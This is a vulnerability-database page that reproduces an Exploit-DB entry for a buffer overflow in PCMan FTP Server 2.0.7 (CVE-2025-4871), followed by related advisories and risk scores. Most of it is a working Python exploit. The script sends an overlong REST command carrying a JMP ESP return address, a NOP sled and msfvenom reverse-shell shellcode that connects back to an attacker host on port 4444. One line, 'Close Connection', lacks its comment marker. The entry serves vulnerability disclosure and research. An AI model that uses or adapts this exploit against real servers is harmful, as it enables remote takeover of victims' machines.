Lucene search
+L

PCMan 2.0.7 - Buffer Overflow

🗓️ 18 Aug 2026 00:00:00Reported by Thiago CunhaType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 50 Views

Buffer overflow in PCMan FTP Server 2.0.7 enables remote code execution via crafted FTP command input.

Related
Code
ReporterTitlePublishedViews
Family
bdu_fstec
BDU FSTEC
PCMan FTP Server Buffer Overflow DoS
26 May 202500:00
–bdu_fstec
circl
Circl
CVE-2025-4871
18 May 202511:30
–circl
cnnvd
CNNVD
PCMan FTP Server security vulnerabilities
18 May 202500:00
–cnnvd
cnvd
CNVD
PCMan FTP Server Buffer Overflow Vulnerability
22 May 202500:00
–cnvd
cve
CVE
CVE-2025-4871
18 May 202510:31
–cve
cvelist
Cvelist
CVE-2025-4871 PCMan FTP Server REST Command buffer overflow
18 May 202510:31
–cvelist
euvd
EUVD
EUVD-2025-15700
3 Oct 202520:07
–euvd
nvd
NVD
CVE-2025-4871
18 May 202511:15
–nvd
osv_cve
osv_cve
CVE-2025-4871
18 May 202511:15
–osv_cve
packetstorm
Packet Storm
PC Man FTP Server 2.0.7 Buffer Overflow
20 Aug 202600:00
–packetstorm
Rows per page
# Exploit Title: PCMan FTP Server 2.0.7 - Buffer Overflow
# Google Dork: [if applicable]
# Date: 05/18/2025
# Exploit Author: Thiago Cunha - A.K.A. Blu3B3@rd
# Vendor Homepage: http://pcman.openfoundry.org/
# Software Link: https://www.exploit-db.com/apps/9fceb6fefd0f3ca1a8c36e97b6cc925d-PCMan.7z
# Version: 2.0.7
# Tested on: Windows XP Professional, Service Pack 2 and Service Pack 3
# CVE : CVE-2025-4871

import socket
import time

# The command to generate shellcode
# msfvenom -p windows/shell_reverse_tcp lhost=192.168.0.2 lport=4444 EXITFUNC=thread -b '\x00\x0a\x0d' -a x86 --platform Windows -f python
# Version 5.1 (Build 2600.xpsp.080413-3111 : Service Pack 2)
# Tested on Windows XP 2 and 3 English

buf = ""
buf += "\xbd\xcc\x95\x24\x8c\xda\xdb\xd9\x74\x24\xf4\x5a\x33\xc9"
buf += "\xb1\x52\x31\x6a\x12\x83\xc2\x04\x03\xa6\x9b\xc6\x79\xca"
buf += "\x4c\x84\x82\x32\x8d\xe9\x0b\xd7\xbc\x29\x6f\x9c\xef\x99"
buf += "\xfb\xf0\x03\x51\xa9\xe0\x90\x17\x66\x07\x10\x9d\x50\x26"
buf += "\xa1\x8e\xa1\x29\x21\xcd\xf5\x89\x18\x1e\x08\xc8\x5d\x43"
buf += "\xe1\x98\x36\x0f\x54\x0c\x32\x45\x65\xa7\x08\x4b\xed\x54"
buf += "\xd8\x6a\xdc\xcb\x52\x35\xfe\xea\xb7\x4d\xb7\xf4\xd4\x68"
buf += "\x01\x8f\x2f\x06\x90\x59\x7e\xe7\x3f\xa4\x4e\x1a\x41\xe1"
buf += "\x69\xc5\x34\x1b\x8a\x78\x4f\xd8\xf0\xa6\xda\xfa\x53\x2c"
buf += "\x7c\x26\x65\xe1\x1b\xad\x69\x4e\x6f\xe9\x6d\x51\xbc\x82"
buf += "\x8a\xda\x43\x44\x1b\x98\x67\x40\x47\x7a\x09\xd1\x2d\x2d"
buf += "\x36\x01\x8e\x92\x92\x4a\x23\xc6\xae\x11\x2c\x2b\x83\xa9"
buf += "\xac\x23\x94\xda\x9e\xec\x0e\x74\x93\x65\x89\x83\xd4\x5f"
buf += "\x6d\x1b\x2b\x60\x8e\x32\xe8\x34\xde\x2c\xd9\x34\xb5\xac"
buf += "\xe6\xe0\x1a\xfc\x48\x5b\xdb\xac\x28\x0b\xb3\xa6\xa6\x74"
buf += "\xa3\xc9\x6c\x1d\x4e\x30\xe7\xe2\x27\x8a\x7f\x8a\x35\xea"
buf += "\x6e\x17\xb3\x0c\xfa\xb7\x95\x87\x93\x2e\xbc\x53\x05\xae"
buf += "\x6a\x1e\x05\x24\x99\xdf\xc8\xcd\xd4\xf3\xbd\x3d\xa3\xa9"
buf += "\x68\x41\x19\xc5\xf7\xd0\xc6\x15\x71\xc9\x50\x42\xd6\x3f"
buf += "\xa9\x06\xca\x66\x03\x34\x17\xfe\x6c\xfc\xcc\xc3\x73\xfd"
buf += "\x81\x78\x50\xed\x5f\x80\xdc\x59\x30\xd7\x8a\x37\xf6\x81"
buf += "\x7c\xe1\xa0\x7e\xd7\x65\x34\x4d\xe8\xf3\x39\x98\x9e\x1b"
buf += "\x8b\x75\xe7\x24\x24\x12\xef\x5d\x58\x82\x10\xb4\xd8\xa2"
buf += "\xf2\x1c\x15\x4b\xab\xf5\x94\x16\x4c\x20\xda\x2e\xcf\xc0"
buf += "\xa3\xd4\xcf\xa1\xa6\x91\x57\x5a\xdb\x8a\x3d\x5c\x48\xaa"
buf += "\x17"

# The target and port
target_ip = "192.168.0.5"
target_port = 21

# Exploit estructed
offset = b"A" * 2006
eip = b"\xd9\x2f\xe3\x74"  # JMP ESP
nops = b"\x90" * 20        # Sled NOP
payload = offset + eip + nops + buf

# Connect to target
try:
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((target_ip, target_port))
    print(f"[+] Conectado a {target_ip}:{target_port}")
except Exception as e:
    print(f"[-] Error to connect: {e}")
    exit(1)

# Receive banner
banner = sock.recv(1024)
print(banner.decode(errors='ignore'))

# Send user
sock.sendall(b"USER anonymous\r\n")
print(sock.recv(1024).decode(errors='ignore'))
time.sleep(1)

#Send pass
sock.sendall(b"PASS anonymous\r\n")
print(sock.recv(1024).decode(errors='ignore'))
time.sleep(1)

# Send payload to exploiting buffer Overflow
exploit_command = b"REST " + payload + b"\r\n"
sock.sendall(exploit_command)
print(sock.recv(1024).decode(errors='ignore'))
time.sleep(1)

Close Connection
sock.close()
print("[+] Conexão encerrada.")

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

18 Aug 2026 00:00Current
7.3High risk
Vulners AI Score7.3
CVSS 3.17.3 - 9.8
CVSS 46.9
CVSS 37.3
CVSS 27.5
EPSS0.01733
SSVC
50